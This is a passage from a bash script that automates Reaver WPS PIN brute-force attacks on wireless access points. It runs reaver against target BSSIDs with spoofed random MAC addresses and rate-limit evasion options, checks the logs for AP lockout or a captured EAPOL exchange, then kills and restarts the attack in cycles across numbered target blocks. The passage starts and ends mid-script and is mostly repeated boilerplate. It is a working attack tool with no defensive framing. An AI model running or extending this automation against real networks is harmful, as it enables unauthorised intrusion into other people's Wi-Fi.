if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP49 (ESSID: $NMEWARN49)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP49 (ESSID: $NMEWARN49)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R49 == y || $USE_R49 == Y ]] && [[ $USE_LONG49 == n || $USE_LONG49 == N ]] && [[ $USE_PIN49 == y || $USE_PIN49 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME49"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL49"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP49"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX49" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY49"
echo -e "$info Reaver live time                   = $yel$LIVE49 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME49-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL49 -b $TARGETAP49 -vv -x 60 -r $RX49:$RY49 --pin=$WPS_PIN49 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME49-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE49-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP49 (ESSID: $NMEWARN49)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP49 (ESSID: $NMEWARN49)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R49 == n || $USE_R49 == N ]] && [[ $USE_LONG49 == y || $USE_LONG49 == Y ]] && [[ $USE_PIN49 == y || $USE_PIN49 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME49"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL49"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP49"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE49 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME49-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL49 -b $TARGETAP49 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN49 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME49-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE49-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP49 (ESSID: $NMEWARN49)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP49 (ESSID: $NMEWARN49)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R49 == y || $USE_R49 == Y ]] && [[ $USE_LONG49 == y || $USE_LONG49 == Y ]] && [[ $USE_PIN49 == y || $USE_PIN49 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME49"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL49"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP49"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX49" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY49"
echo -e "$info Reaver live time                   = $yel$LIVE49 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME49-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL49 -b $TARGETAP49 -r $RX49:$RY49 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN49 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME49-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE49-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP49 (ESSID: $NMEWARN49)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME49-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME49-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME49-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP49 (ESSID: $NMEWARN49)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE49 == n ] || [ $KEEP_FILE49 == N ]; then

          rm VARMAC_LOGS/$NAME49-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R50 == n || $USE_R50 == N ]] && [[ $USE_LONG50 == n || $USE_LONG50 == N ]] && [[ $USE_PIN50 == n || $USE_PIN50 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME50"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL50"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP50"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE50 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME50-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL50 -b $TARGETAP50 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME50-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE50-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME50-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME50-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP50 (ESSID: $NMEWARN50)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME50-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME50-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

